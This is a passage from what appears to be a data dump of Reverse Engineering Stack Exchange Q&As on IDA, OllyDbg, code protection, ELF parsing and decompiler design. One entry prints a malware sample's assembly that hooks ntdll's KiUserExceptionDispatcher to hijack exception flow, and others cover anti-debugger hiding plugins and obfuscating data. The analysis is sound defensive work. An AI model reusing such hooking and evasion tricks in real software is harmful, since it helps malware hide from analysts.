\n\n
\n

Not shown in the block diagram are the simple circuits to compute parity, test for zero, and check if a 4-bit value is less than 10. These values are used to set the condition flags.

\n
\n\n

So, although they are simple circuits I would like to know exactly how they were implemented and if they used any of the implementations proposed above or something else completely different.

\n", "Title": "How was the Zero Flag implemented on Z80 ALU?", "Tags": "|hardware|", "Answer": "

Well if you want to know how it was done exactly

\n\n

Then download the Z80 die shot of model you want to investigate, crop the ALU part and identify all the gates you can until you dig to Zero flag your self (sorry for indirect answer).

\n\n

Here my Z80 ALU post processed die shot

\n\n

\"Z80

\n\n\n\n

Try to identify all gates and buses you can (and mark them to the image)

\n\n

\"Z80

\n\n

When found familiar structure like Wire OR, (N)OR cascade, ... then you will know for sure. Just try to find the basic components like:

\n\n

\"Components\"

\n\n

form the circuit schematics and make some sense of it.

\n" }, { "Id": "8756", "CreationDate": "2015-04-24T04:25:17.073", "Body": "

I am new to reverse engineering and file protections. I have made a trading algorithm for Tradestation that I have put into a C++ DLL instead of having the source laying around, and I want to protect it further from reverse engineering. Is there something stronger than Themida out there?

\n", "Title": "Stronger than Themida?", "Tags": "|decompilation|", "Answer": "

You might want to review an answer I provided before over here. Themida and CodeVirtualizer are fine. If you want something stronger you should keep your code on a server or run it on a dedicated hardware dongle intended for copy protection. Make sure the dongle is one that actually runs your algorithms and doesn't just encrypt some parts of the code and run it on the PC side.

\n\n

Be aware though that all they do is increase the amount of motivation an adversary needs in order to find out how your stuff works. I would examine what the value of your secrets really are. The best something like CodeVirtualizer and Themida can achieve is to create the equivalent of a black box. However it will always be possible to probe your black box with different inputs and observe the outputs. So in best case your protected code will be equivalent to keeping your code running on a server, only accessible offline. If offline is a requirement you're stuck with these sorts of solutions, either something commercial off the shelf or something homegrown. Otherwise I would strong recommending centralizing as much as possible of your algorithms on a server. Why not make your DLL for Tradestation a thin wrapper around a web API?

\n\n

Trading algorithms, if effective, can definitely fall under something that would be valuable enough to protect on a server.

\n\n

There's also the issue of mistranslations where CodeVirtualizer or Themida does an incorrect translation of the machine instructions into their own VM instructions which could lead to bugs. Are you willing to accept an incorrect trade and possibly holding a bad position due to translation bugs in the translation engine of Themida, VMProtect or whatever you choose to use?

\n" }, { "Id": "8758", "CreationDate": "2015-04-24T10:57:39.527", "Body": "

I know how to find and hook virtual methods by crawling an object's RTTI. I cannot find enough information about non-virtual class methods.

\n\n
    \n

  1. Is there anyway to identify non-virtual class methods at run-time?

    2. \n

  2. Can I use a class's symbol name to recover any information about it at run-time?

    3. \n
\n", "Title": "How can I recover / locate non-virtual class methods at run-time?", "Tags": "|disassembly|c++|dynamic-analysis|", "Answer": "

There's no sure-proof way to do it. Non-virtual methods look exactly like normal functions except they take an implicit 'this' pointer. If you are dealing with visual C++ compiled program then it will probably be a bit more obvious as usually it uses thiscall calling convention so you just need to watch for cases when the instance address is in ecx at function entry. See my article for more details.

\n\n

Of course, if you have symbols then it's very easy - just check for classname:: prefix in the demangled function name.

\n" }, { "Id": "8760", "CreationDate": "2015-04-24T11:46:44.207", "Body": "

In windows PE files (32 and 64 bit) calls to imported functions look like this in IDA PRO:

\n\n
call    ds:SetEvent              // default setting\ncall    [ds:SetEvent]            // Target Assembler set to TASM\n
\n\n

I understand what it does (indirect call, import table, ...) but what I do not understand:\nWhy is IDA adding the ds: in front of the function name?\nI checked the opcode, it is FF 15 meaning a near call.

\n\n

If I am right to assume that the ds is a segment register, there is no need to specify it as a near call means a call of a function inside the same segment.

\n\n

Could someone explain why IDA is adding the ds: anyway and what it is good for?

\n", "Title": "Call to an imported function in a PE file: Why is destination prepended with ds (call ds:func_name)?", "Tags": "|ida|disassembly|assembly|disassemblers|segmentation|", "Answer": "

The FF 15 is an absolute indirect call. It is fetching the value at a memory location, and then transferring control to the fetched address.

\n\n

In order to specify that memory location precisely, the CPU needs both the segment register and the address. In the absence of an explicit request (2E for CS, for example), or a mode which has an implicit override (use of EBP selects SS:), DS: is used. Despite Windows using a flat memory model, nothing prevents the segment registers from having other values assigned to them: 32-bit Windows supports Local Descriptor Table entries, for example, and there are tricks where DS: is given the value of FS:, to perform non-obvious SEH registration.

\n\n

IDA displays the segment register to remove any ambiguity as to which segment register is in use.

\n" }, { "Id": "8776", "CreationDate": "2015-04-27T16:52:28.960", "Body": "

I have large PE file (C++), which has lots of indirect function calls using vtable and jmp dword.

\n\n

How can I generate a call tree for such functions ? (like with IDA User xrefs chart menu).

\n\n

Here is an example of disassembled code:

\n\n
UPX1:2401135C sub_2401135C proc near                  ; CODE XREF: sub_2401263C+Cp\nUPX1:2401135C                                         ; StartAddress+21p ...\nUPX1:2401135C test    eax, eax\nUPX1:2401135E jz      short locret_2401136A\nUPX1:24011360 call    ds:off_24057054\nUPX1:24011366 or      eax, eax\nUPX1:24011368 jnz     short loc_2401136B\nUPX1:2401136A\nUPX1:2401136A locret_2401136A:                        ; CODE XREF: sub_2401135C+2j\nUPX1:2401136A retn\nUPX1:2401136B ; ---------------------------------------------------------------------------\nUPX1:2401136B\nUPX1:2401136B loc_2401136B:                           ; CODE XREF: sub_2401135C+Cj\nUPX1:2401136B mov     al, 2\nUPX1:2401136D jmp     sub_2401141C\nUPX1:2401136D sub_2401135C endp\n
\n\n

User xref chart can show only call ds:off_24057054 branch if I will include data xrefs. What can I do to see the jmp sub_2401141C branch ?

\n", "Title": "How can i generate function call tree in IDA for non-standart function calls?", "Tags": "|ida|", "Answer": "

In these cases the target of the calls is generated at runtime and can not be determined statically (with very few exceptions).

\n\n

You need to record this information while running the binary and incorporate the extra info into your IDB by using the AddCodeXref API or alike.

\n\n

If you don't want to write your own thing, this plugin can assist you in doing that and more: funcap

\n\n

EDIT

\n\n

In the case of jmp subxxx the target of the jump is well defined. You could programatically go throught the whole binary, extract the target of the jump and add the cross reference.

\n\n

I hacked something together, give it a try.

\n\n
def is_external_jmp(ins_ea):\n    \"\"\"\n    True for JMPs between functions.\n    NN_JMP (86): jmp sub_xxx (0xE9 + offset) or jmp loc_xxx (0xE9 + offset)\n    \"\"\"    \n    decode_insn(ins_ea)\n\n    if cmd.itype == NN_jmp:\n        # HACK: GetOperandValue returns the target\n        # address, not the offset (as I would expect)\n        target = GetOperandValue(ins_ea, 0)\n        (s, e) = current_function_boundaries(ins_ea)\n\n        if target < s or target > e:\n            # Not within the current function\n            return True\n\n    return False\n\n\ndef current_function_boundaries(ea=None):\n    \"\"\"\n    Convenience function\n    @returns: boundaries or None\n    \"\"\"\n    if not ea:\n        ea = ScreenEA()\n\n    f = get_func(ea)\n\n    if not f:\n        # Probably called outside a function\n        return (None, None)\n\n    else:\n        return (f.startEA, f.endEA)\n\n\ndef main():\n\n    for f_ea in Functions():\n        for ins_ea in FuncItems(f_ea):\n            if is_external_jmp(ins):\n                # One of these \"jmp sub_xxx\"\n                target = GetOperandValue(ins_ea, 0)\n                AddCodeXref(ins_ea, target, fl_CN)\n\n\n\nif __name__ == '__main__':\n    main()\n
\n" }, { "Id": "8786", "CreationDate": "2015-04-30T06:10:21.397", "Body": "

I have recently started using plugins for OllyDbg 1.10. Thanks to this site, I have an idea of the capabilities of the plugins for OllyDbg.

\n\n

As I have only a very basic idea of how plugins work, I was wondering, do plugins interfere with each other? For example, if I use multiple plugins that deals with the same anti-debugging techniques, is it possible that they may conflict with each other and mess with what I would ideally want, which is to hide my debugger? Thanks!

\n", "Title": "Conflict of OllyDbg plugins", "Tags": "|ollydbg|anti-debugging|plugin|", "Answer": "

It is quite possible for Ollydbg's plugin to interfere with each other. Generally you should only keep plugins that you use.

\n\n

The best anti-debugging plugins for Ollydbg as of now are ScyllaHide for user-mode and TitanHide for kernel mode. Both of them are open source and well maintained.

\n" }, { "Id": "8788", "CreationDate": "2015-04-30T16:53:42.720", "Body": "

Is there any way to set a breakpoint at the specific location on the stack in OllyDbg?

\n\n

I have some value (argument of the function) on the stack and I want to break on every memory access at this location.

\n\n

Thanks in advance.

\n", "Title": "How to set a breakpoint at the specific location on the stack in OllyDbg", "Tags": "|ollydbg|", "Answer": "

If the arguments of the function on stack is a pointer (such as pThreadId for CreateThread), then follow the steps below. Otherwise if the argument is some value (like CreationFlags) then refer to AcidShout's answer.

\n\n

1. Right click on the address on the stack -> Chose Follow in Dump.\n\"enter

\n\n

2. In the dump window, right click on the value -> Breakpoint -> Hardware on access -> Byte / Word / Dword

\n\n

\"enter

\n" }, { "Id": "8793", "CreationDate": "2015-05-02T18:53:15.877", "Body": "

Let's say I've some function(i.e. hash function), that generates value from input seed and some precomputed hash values, that are stored somewhere in binary. What are the possible approaches for:

\n\n
    \n
  1. Protect string data against dumping
    2. \n
  2. Protect hash algorithm from being reverse engineered for a while
    3. \n
\n\n

I understand that the goal of complete algorithm concealment from reverser is impossible but what technique will raise the efforts to do this?

\n\n

My thoughts on this topic:

\n\n
    \n
  1. Protect hash strings with encryption macro
    2. \n
  2. Obfuscating target function using some king of obfuscation/poly/metamorphic engine in order to prevent easy algorithm recovery(can lead to AV false positive but should not harm in general)
    3. \n
  3. Roughly generate new hash function and values for each copy of program(kind of hard to implement and maintain)
    4. \n
\n\n

Maybe anybody have better concepts that will suit my goal and be so kind to post it here.

\n\n

P.S. please do not advice to use packers/protectors. False positive AV does not cost couple functions algorithm concealment.

\n\n

UPD

\n\n

Here is the implementation if string protection written in C++. I don't know if this solution be useful for other people but it's worth mentioning though.

\n", "Title": "Protect data stored in binary", "Tags": "|binary-analysis|obfuscation|static-analysis|encryption|", "Answer": "

There are a number of ways to accomplish what you've stated. Generally, more robust techniques, while affording a higher level of protection, will also put more burden on the programmer creating the software. So in approximately increasing order of difficulty, here are some ideas:

\n\n

Store the data non-contiguously

\n\n

The simplest approach is to simply not store the data contiguously. That is, store the data in separate pieces and reassemble it at runtime just before you need it. With this as with all of the other techniques, it's generally recommended to keep the value in memory for as short a duration as is practical.

\n\n

Obfuscate the stored data

\n\n

There are many ways to obfuscate data. One simple method is to simply XOR with some fixed constant. A more sophisticated approach is to encrypt the data, but unless you have some secure way to store the encryption key, this might not actually offer that much more security. One possibility would be to use a cryptographic hash of the entire program (minus the protected data) as the encryption key. This would largely prevent alteration of the binary as well as providing a non-obvious way to store the key.

\n\n

Recalculate the data at runtime

\n\n

If you can avoid storing the data at all, we eliminate the problem of being able to derive it from static analysis. If you are precomputing hashes of certain data for performance reasons, consider doing so at program startup instead of at compile time. Alternatively, if the data is fixed, consider writing a polymorphic generator which could be included at compile time. That is, write a program that takes a fixed constant and generates code which, when run, produces that value without explicitly including it. Then link the generated code with your program. Because the polymorphic generator would be part of the build process rather than part of the runtime, it is much less likely to trigger a A/V warning.

\n\n

Proof of concept for this idea

\n\n

I wrote a little program in C++ to more fully demonstrate this technique. Here is the program:

\n\n

linear.cpp

\n\n
#include <iostream>\n#include <cstdlib>\n#include <random>\n\nint main(int argc, char *argv[])\n{\n    std::random_device rd;\n    std::uniform_int_distribution<> r{-32768,32767};\n\n    for (int i=1; i < argc; ++i) {\n        int y = std::atoi(argv[i]);\n        int x;\n        for (x=r(rd); x==0; x= r(rd));  // make sure x!=0\n        int m = r(rd);\n        int b = y-m*x;\n        std::cout << \"int generate\" << i << \"(int x) { return x * \" << m << \" + \" << b << \"; }\\n\";\n        std::cout << \"\\tassert(\" << y << \" == generate\" << i << \"(\" << x << \"));\\n\";\n\n    }\n}\n
\n\n

How it works

\n\n

This is a very simple program that takes a series of integers as input and creates one linear function per integer. For example, with this command line:

\n\n
./linear 39181 3802830 938833 -41418699\n
\n\n

The program generated the following output:

\n\n
int generate1(int x) { return x * -5646 + 182450149; }\n    assert(39181 == generate1(32308));\nint generate2(int x) { return x * -14922 + 10696794; }\n    assert(3802830 == generate2(462));\nint generate3(int x) { return x * -15424 + -320805807; }\n    assert(938833 == generate3(-20860));\nint generate4(int x) { return x * -8144 + -127093579; }\n    assert(-41418699 == generate4(-10520));\n
\n\n

The asserts are simply there for documentation and testing. In real usage, if you want to recreate the constant 39181 in your code, you would use generate1(32308). If we rearrange the lines into a full program, we get this:

\n\n

tryme.cpp

\n\n
int generate1(int x) { return x * -5646 + 182450149; }\nint generate2(int x) { return x * -14922 + 10696794; }\nint generate3(int x) { return x * -15424 + -320805807; }\nint generate4(int x) { return x * -8144 + -127093579; }\n#include <cassert>\nint main() {\n    assert(39181 == generate1(32308));\n    assert(3802830 == generate2(462));\n    assert(938833 == generate3(-20860));\n    assert(-41418699 == generate4(-10520));\n}\n
\n\n

Obviously, you could multiply or concatenate these if you need longer numbers or strings, and my choice of linear functions with the random number value range I chose was entirely arbitrary. Feel free to substitute and experiment.

\n\n

Fetch the data remotely

\n\n

Depending on the environment, it may be possible to store the data remotely and then fetch it securely via something like HTTPS when and as needed. Be aware that doing this could also mean that even an ordinary network outage or misconfigured firewall would render your software inoperable, but you can decide if that is acceptable for your purposes.

\n" }, { "Id": "8805", "CreationDate": "2015-05-04T06:38:18.507", "Body": "

I want to know which DLL is loaded/unloaded in which process (globally).\nThe purpose is to find a process loading and unloading DLLs on the fly.\nI use following breakpoints in windbg (kd), but nothing found!

\n\n

bp kernel32!LoadlibraryA \"da poi(esp+4);g\"\n bp kernel32!LoadlibraryW \"du poi(esp+4);g\"\n

\n\n

any user/kernel mode ida?

\n", "Title": "Dynamic list of user-mode dlls in windows", "Tags": "|windows|", "Answer": "

You can enable FLG_SHOW_LDR_SNAPS in GFlags to get DLL loading and unloading notifications in WinDbg or DebugView for all processes on the system.

\n" }, { "Id": "8809", "CreationDate": "2015-05-04T14:18:34.810", "Body": "

i am analyzing a piece of malware in which first the address to \"KiUserExceptionDispatcher\" is obtained(using the Export Name Table, going to Export Ordinal Table and then finally to Export Address Table). Once the address(7773A408) is received, the malware overwrites the first 6 bytes with the following lines :

\n\n
      (here is the finding part)\n                ...\n   mov BYTE PTR DS:[EDX], 68             -> EDX contains ntdll.KiUserExceptionDispatcher\n   mov DWORD PTR DS:[EDX+1], malware.004035C2\n   mov BYTE PTR DS:[EDX+5], 0C3\n   ....\n
\n\n

So, the hex window at 7773A408 (address of KiUserExceptionDispatcher) changes in the following way:

\n\n
  7773A408   FC 8B 4C 24 | 04 8B .... (and so on)    <- original\n\n  7773A408   68 C2 35 40 | 00 C3 .....(and so on)    <- after overwriting\n
\n\n

So, what happens then is that the malware reaches a \"UD2\" instruction. I looked it up: it raises an invalid opcode exception. \nThen the malware jumps to

\n\n
 7773A40D   RETN    \n
\n\n

which then leads me to:

\n\n
004035C2  DB 8B     <- clear, because 004035C2 starts at 7773A40D (hex window)\n
\n\n

and then finally to another place where a whole new function begins.\nSo, my question would be: Is it right to assume that the malware tries to change exception handler by overwriting it with 004035C2 to redirect the excetion flow? Why is the exception handler of UD2 the first 6 bytes of KiUserExceptionDispatcher?

\n\n

best regards,

\n", "Title": "KiUserExceptionDispatcher hook", "Tags": "|assembly|exception|", "Answer": "

The malware overwrites the usermode exception dispatcher (KiUserExceptionDispatcher()) with the following:

\n\n
PUSH malware.004035C2\nRETN\n
\n\n

The code above is equivalent to JMP malware.004035C2.

\n\n

Now whenever any usermode exception occurs in the process, the function at malware.004035C2 will be executed instead of (or at least before) the registered SEH functions.

\n\n

The malware likely uses this \"trick\" in combination with the UD2 instruction in order to confuse disassemblers, since most disassemblers won't automatically figure out that the UD2 instruction now effectively jumps to malware.004035C2. This type of obfuscation trick is often used to make automated static analysis of code-flow more difficult.

\n" }, { "Id": "8817", "CreationDate": "2015-05-05T08:11:20.800", "Body": "

I wrote a script containing several functions, which I loaded in IDA pro. From IDAPython now I'd want to call a specific function. Is it possible? Which idaapi functions should I use to call my functions in the script?

\n\n

EDIT:\nI am running IDA on a linux system and the script has been written in python.

\n", "Title": "Calling functions from IDAPython", "Tags": "|ida|idapython|ida-plugin|", "Answer": "

You have 3 alternatives:

\n\n
    \n

  1. You can just run the function by its name. If you already ran your script, defined functions should remain in the Python interpreter context.

    2. \n

  2. You can add the path of your script to sys.path and import the script again. It should looks as follows:

    \n\n
    import sys\n\nsys.path.append(\"path to your folder with the script\")\n\nimport your_script_name\n
    3. \n

  3. You can add this (addition to sys.path and import) into file idapythonrc.py in the root of IDA installation and this script will be imported each time you running IDA.

    4. \n
\n" }, { "Id": "8824", "CreationDate": "2015-05-06T11:14:58.777", "Body": "

I want to be able to parse 32 and 64 bit ELF files - but not create or modify them (e.g. as discussed in this thread). The ELF binaries may possibly come from embedded Linux systems, that is, the library should not be irritated by MIPS, ARM and other non-x86 architectures.

\n\n

What I have considered:

\n\n\n\n

Do I have forgotten something?\nWhich of the above options would you prefer?

\n\n

For those who had some practical experience with pylibelf or pydeftools: These seem no longer updated (last commit: 2013 and 2012), are they mature enough?

\n", "Title": "Which python library for parsing Linux ELF files?", "Tags": "|binary-analysis|linux|idapython|elf|python|", "Answer": "

LIEF is a good choice for parsing ELF binaries. It's written in C++, but comes with proper Python bindings and is readily available via PyPi. Besides parsing ELF files it also supports Windows PE and MacOS binaries, reading and modifying and writing all of them, that is.

\n

It's available since 2017 and is actively maintained (example).

\n

LIEF is pretty light-weight and doesn't require many dependencies.

\n" }, { "Id": "8828", "CreationDate": "2015-05-06T15:46:01.037", "Body": "

In my code, I am using idc.GetOpnd(ea,0) and idc.GetOpnd(ea,1) to get the 2 operands of an instruction. However, if its a call (or jmp) instruction, I am getting symbols like _perror and loc_8083BA9.

\n\n

Using IDAPython, is it possible to remove all the symbols and deal only with memory locations.

\n", "Title": "Get memory locations using IDAPython", "Tags": "|ida|idapython|", "Answer": "

Use GetOperandValue instead of GetOpnd to get the memory location.

\n\n
Python>GetOpnd(0xb77a2d99,0)\n__Unwind_Resume\nPython>'%x'%(GetOperandValue(0xb77a2d99,0))\nb76fc24e\n
\n" }, { "Id": "8830", "CreationDate": "2015-05-06T19:52:32.747", "Body": "

I was reading through the chapter on Obfuscation in \"Practical Reverse Engineering\" I encountered the following statement.

\n\n
\n

Where X is the set of execution traces (finite and infinite), you can\n express the trace semantics as the least solution (for the\n computational partial ordering) of a fixpoint equation X = F( X).

\n
\n\n

Could someone explain what that means in simple terms? If you could point me towards any resources for further reading and learning, that'd be great too.

\n", "Title": "Expressing trace semantics as a solution for a fixpoint equation", "Tags": "|obfuscation|program-analysis|", "Answer": "

You may consult pages 39-41 in the thesis

\n\n
\n

\"Code Obfuscation and Malware Detection by Abstract Interpretation\"

\n
\n\n

of M. Dalla Preda about formal obfuscation; or sections 4.4 and 4.5 in the orignal paper

\n\n
\n

\"Systematic Design of Program Transformation Frameworks by Abstract\n Interpretation\"

\n
\n\n

of Cousot and Cousot.

\n\n

The theory is formal and requires much more technical details than the following interpretation, but the idea is that:

\n\n

The \"finite trace\" semantics of a program P is defined by the set of all finite traces of P. A trace is nothing but a finite sequence of states of P, obtained when running P, step-by-step over \"commands\" of P.

\n\n

(You may note that, from a state, we can get a set of possible next states, because the command at this state can be nondeterministic: it can receive some value from environment).

\n\n

To calculate the finite trace semantics of P, one way (which one is refered in your book) is to use a function F defined from FinSeqs to FinSeqs:

\n\n
F : FinSeq -> FinSeq\n
\n\n

where FinSeqs is the set of all \"sub-set of finite sequences of states of P\" (you may think that each sub-set is a possible value for the \"finite trace\" semantics of P).

\n\n

This function F map a sub-set X to a sub-set X' so that each trace x' of X' has a trace x of X as suffix (that is the reason why it is called \"backward\" in the paper of Cousot and Cousot). Particularly, we have that

\n\n
x' = sj . x\nx = si . x1\n
\n\n

and sj must be able to be a next state of si. The least fixpoint of the function F, namely some set Xp so that

\n\n
F(Xp) = Xp\n
\n\n

is called the trace semantics of P.

\n" }, { "Id": "8831", "CreationDate": "2015-05-06T22:25:28.357", "Body": "

I have found the following lines in a sample which I try to analyze. Here, are the lines:

\n\n
   ....\n   push  afg.00401189       \"ntdll.dll\" \n   call  GetmoduleHandleW\n   neg   eax\n   sbb   eax, eax\n   neg   eax\n   RETN\n
\n\n

So, I do not understand the lines after the call instruction. We have sbb instruction between two neg-operations, but what can be the purpose of that. Can somebody explain that ?

\n\n

PS: Intuitively, I would say that at the end I have the handle to ntdll.dll in EAX...but the operations between the call and retn are very strange. I am confused.

\n", "Title": "Processing a handle to a module", "Tags": "|assembly|", "Answer": "

The neg / sbb / neg code in your question is the equivalent of the following C code:

\n\n
eax = (eax != 0)\n
\n\n

In other words, the function returns GetModuleHandleW(\"ntdll.dll\") != NULL.

\n\n

The neg / sbb / neg construct is explained in detail here:

\n\n

Reversing: Secrets of Reverse Engineering, section A.2.8.1. Pure Arithmetic Implementations

\n" }, { "Id": "8835", "CreationDate": "2015-05-07T10:44:59.793", "Body": "

After writing my own disassembler, I am now looking to making its assembly listing more human readable, e.g. from an (artificial) example

\n\n
push    ebp\nmov     ebp, esp\nsub     esp, 10h\nmov     eax, dword ptr [55431824h]\nimul    eax, dword ptr [ebp+8]\nadd     eax, dword ptr [ebp+0ch]\nmov     dword ptr [ebp-4], eax\nmov     eax, dword ptr [ebp-4]\nleave\nret     10h\n
\n\n

via (> marks an auto-recognized prologue/epilogue):

\n\n
>push    ebp\n>mov     ebp, esp\n>sub     esp, 10h\n\n mov     eax, dword ptr [_global_55431824]\n imul    eax, dword ptr [arg_0]\n add     eax, dword ptr [arg_4]\n mov     dword ptr [local_4], eax\n mov     eax, dword ptr [local_4]\n\n>leave\n>ret     10h\n
\n\n

towards

\n\n
eax = 10\neax *= arg_0\neax += arg_4\nlocal_4 = eax\neax = local_4\nreturn\n
\n\n

At this point, each pseudo instruction is still tied to its original disassembled representation. When printing out, I can scan for certain sequences and so I replace the first two lines with

\n\n
eax = 10 * arg_0\n
\n\n

and then just skip printing the next line. However, there is a limit to how far I can get with that. Concatenating the next operation, which would lead to

\n\n
eax = 10 * arg_0 + arg_4\n
\n\n

requires to look ahead two instructions, and would only work for this specific combination of mov, imul, and add, while assuring the same destination register is still targeted and the intermediate instructions have no lasting effect on other registers.

\n\n

The goal is to end up with something like this:

\n\n
local_4 = 10 * arg_0 + arg_4\neax = local_4\nreturn\n
\n\n

where obviously eax is specifically assigned a value before a return, so the last line can be

\n\n
return eax\n
\n\n

and finally the entire construction can be collapsed into

\n\n
return 10 * arg_0 + arg_4\n
\n\n

(which is very close to what I started with in the original trivial C program). I am struggling with the internal representation of composite lines such as the last one. The otherwise very reliable decompiler page backerstreet.com/creating_statements casually switches between raw assembler and C-like compound statements:

\n\n
if(!expr1 && !expr2)\n  ...\n
\n\n

without explaining how this intermediate step is stored in memory and can create the output string.

\n\n

What type of intermediate storage form should I be looking at, which (a) can be constructed from the original disassembled instructions, (b) can have its elements combined and rearranged, and (c) can be translated into human-readable output such as the last line?

\n\n

It may be worth mentioning that I am not aiming to create the Definitive Universal Decompiler :) My test input was compiled with an ancient version (most likely pre-1993) of Delphi Pascal, but while its assembly is not really optimized and fairly readable to begin with, I'd still like to go the extra mile and make my computer do what it does best and make it yet easier to understand the code.

\n\n
\n\n

A longer real world example

\n\n

Below is some actual disassembly. The basic block number is followed by a dominator bit set (the loops hex number; I generate them but have not used that data yet). The ENTRY and EXIT numbers are to basic blocks again and used to generate a .dot view of the function.

\n\n
; ## BLOCK 0; loops: 01; EXIT to 1, 4\n401966A8    (  0)  8B 15 42201590       mov     edx,dword ptr [42201590]\n401966AE    (  0)  8B 12                mov     edx,dword ptr [edx]\n401966B0    (  0)  80 BA 39 01 00 00 02 cmp     byte ptr [edx+139h],2\n401966B7    (  0)  75 11                jnz     label_4\n\n; ## BLOCK 1; loops: 03; ENTER from 0; EXIT to 2, 4\n401966B9    (  0)  83 78 24 02          cmp     dword ptr [eax+24h],2\n401966BD    (  0)  7D 0B                jge     label_4\n\n; ## BLOCK 2; loops: 07; ENTER from 1; EXIT to 3=RET\n401966BF    (  0)  BA 02 00 00 00       mov     edx,2\n401966C4    (  0)  2B 50 24             sub     edx,dword ptr [eax+24h]\n401966C7    (  0)  8B C2                mov     eax,edx\n\n; ## BLOCK 3 (epilog); loops: 0F; ENTER from 2\n401966C9          >C3                   retn    \n\n; ## BLOCK 4; loops: 11; ENTER from 0, 1; EXIT to 5, 7\n                        label_4:\n401966CA    (  0)  8B 15 42201590       mov     edx,dword ptr [42201590]\n401966D0    (  0)  8B 12                mov     edx,dword ptr [edx]\n401966D2    (  0)  80 BA 39 01 00 00 01 cmp     byte ptr [edx+139h],1\n401966D9    (  0)  75 0D                jnz     label_7\n\n; ## BLOCK 5; loops: 31; ENTER from 4; EXIT to 6, 7\n401966DB    (  0)  83 78 24 00          cmp     dword ptr [eax+24h],0\n401966DF    (  0)  75 07                jnz     label_7\n\n; ## BLOCK 6; loops: 71; ENTER from 5; EXIT to 8=RET\n401966E1    (  0)  B8 01 00 00 00       mov     eax,1\n401966E6    (  0)  EB 02                jmp     label_8\n\n; ## BLOCK 7; loops: 91; ENTER from 4, 5; EXIT to 8=RET\n                        label_7:\n401966E8    (  0)  33 C0                xor     eax,eax\n\n; ## BLOCK 8 (epilog); loops: 0111; ENTER from 6, 7\n                        label_8:\n401966EA          >C3                   retn    \n\n401966EB                align 4\n
\n\n

This is the .dot image; clear ifs are yellow, and the nodes contain their dominator bit sets so I can try and make sense of them (a TO-DO as yet). This explains the flow but you cannot see how much code each node represents.

\n\n

\"function

\n\n

The disassembly gets parsed into the following pseudo-code. Some notes are manually added.

\n\n
; #### PARSED\n401966A8    (  0)       edx = Main.UnitList@20551314 ;\n401966AE    (  0)       edx = (dword)[edx] ;\n401966B0    (  0)       if ((byte)[edx + 139h] != 2) goto label_4 ;\n\n401966B9    (  0)       if ((dword)[eax + 24h] >= 2) goto label_4 ;\n\n401966BF    (  0)       edx = 2 ;\n401966C4    (  0)       edx -= (dword)[eax + 24h] ;\n401966C7    (  0)       return edx ; MOV EAX,.. where an exit block follows\n\n                        return ;  .. and this line is generated by the actual exit block\n\n                    label_4:\n401966CA    (  0)       edx = Main.UnitList@20551314 ;\n401966D0    (  0)       edx = (dword)[edx] ;\n401966D2    (  0)       if ((byte)[edx + 139h] != 1) goto label_7 ;\n\n401966DB    (  0)       if ((dword)[eax + 24h] != 0) goto label_7 ;\n\n401966E1    (  0)       eax = 1 ;\n401966E6    (  0)       return ;  this was a jump-to-exit-block, so missed\n\n                    label_7:\n401966E8    (  0)       eax = 0 ; this was a XOR, not a MOV, so missed\n\n                    label_8:\n                        return ;\n
\n\n

The loss in verbosity is already worth the effort: from 21 lines of code to 16 lines, even though the lookahead to check if EAX got written to right before a RET failed twice.

\n\n

Yet, it is obvious that the two successive ifs at 401966B0 can be combined into a single one, with an OR. Inverting the condition, that whole block can be a single if and braced up to the return, removing label_4.
\nThe manipulation of edx from 401966BF onwards can be concatenated into a single return statement.
\nAlso, the if conditions at 401966D2 can be combined into a single one and put inside an if block. Since there is a return at its end, an else is not necessary there. Manually reconstructed:

\n\n
401966A8    (  0)       edx = Main.UnitList@20551314 ;\n401966AE    (  0)       edx = (dword)[edx] ;\n401966B0    (  0)       if ((byte)[edx + 139h] == 2 &&\n401966B9    (  0)           (dword)[eax + 24h] < 2)\n                        {\n401966BF    (  0)           return 2 - (dword)[eax + 24h] ;\n                        }\n\n401966CA    (  0)       edx = Main.UnitList@20551314 ;\n401966D0    (  0)       edx = (dword)[edx] ;\n401966D2    (  0)       if ((byte)[edx + 139h] == 1 &&\n401966DB    (  0)          (dword)[eax + 24h] == 0)\n                        {\n401966E1    (  0)           return 1 ;\n                        }\n\n401966E8    (  0)       return 0 ;\n
\n\n

reducing the original 21 lines to a mere 11. Furthermore, register value propagation resolves the references to the global class Main.UnitList. I manually created names for its elements; 401966A8 and forwards collapses into

\n\n
401966B0    (  0)       if (Main.UnitList.flag == 2 &&\n401966B9    (  0)           Main.UnitList.count < 2)\n
\n\n

which makes the code practically readable.

\n\n

Accessing eax before it gets written is not an error here. The function is a class function, and eax points to a class instance, so (dword)[eax + 24h] reads a data member of the structure. Main.UnitList is a pointer to a globally declared class instance, since it points into the BSS.

\n", "Title": "IL for decompiler to human-readable format", "Tags": "|disassembly|decompilation|", "Answer": "

What you're describing here is essentially the same as a static binary translator that uses a high level language such as C as its output target rather than a specific architecture. It's not quite as advanced a mechanism as decompiling but it has proven quite effective in restricted domains such as arcade video games. (eg http://vide.malban.de/vectrex-programs/vecfever ) There have been a few of these written; I have code for work in progress that does this for 6809, 6502, z80 and Cinematronic CPUs for example (though probably not immediately usable - it's a coming-together of four separate background projects with no great urgency). Anyway feel free to poke around and see if there's anything here that is helpful to you: http://gtoal.com/SBTPROJECT/ (the 6809 one is probably the cleanest code if you're just browsing and not actually running it)

\n\n

There's a bit of a writeup of the overall method at http://gtoal.com/sbt/

\n\n

Output looks something like this:

\n\n
            //        LDA   $FFFF,X                 ; 0431: A6 1F         \n      A = memory[(UINT16)(X + 0xffff)];\n  //  N = A;\n  //  Z = A;\n  //  V = 0;\n\n            //        LEAU  ,X                      ; 0433: 33 84         \n      U = X;\n\n            //        LDX   #$0EC8                  ; 0435: 8E 0E C8      \n      X = 0x0ec8;\n  //  Z = X;\n  //  N = (X) >> 8;\n  //  V = 0;\n
\n\n

(the commented out lines are due to optimisation of redundant stores)

\n\n

Rather than output functional code for execution, you could satisfy the OP's request by outputting comments that describe in detail what the operations are doing.

\n\n

Other practical translators have been written by David Welch, Norbert Keher, Thomas Sontowski and others. There is also Project Orion which is a multi-person multi-target translator headed up by Neil Bradley (respected emulator author) and several other members of the Orion mailing list - that translator had working front ends for 6502 and z80, with 68000 and 6809 also being under development, and built an internal AST (Abstract Syntax Tree, much as described in one of the earlier answers in this thread) in order to output cleaner and more efficient code to a variety of back ends including C. (There is also some academic work produced by Christina Cifuentes et al.)

\n\n

Graham

\n\n

PS When the output is a generic IR (Internal Representation) such as C or LLVM's internal IR, as opposed to when you produce binary directly, or indirectly by outputting asm for a specific architecture) the technique is properly called \"Compiled Instruction Set Simulation\" - but most people just call it static binary translation.

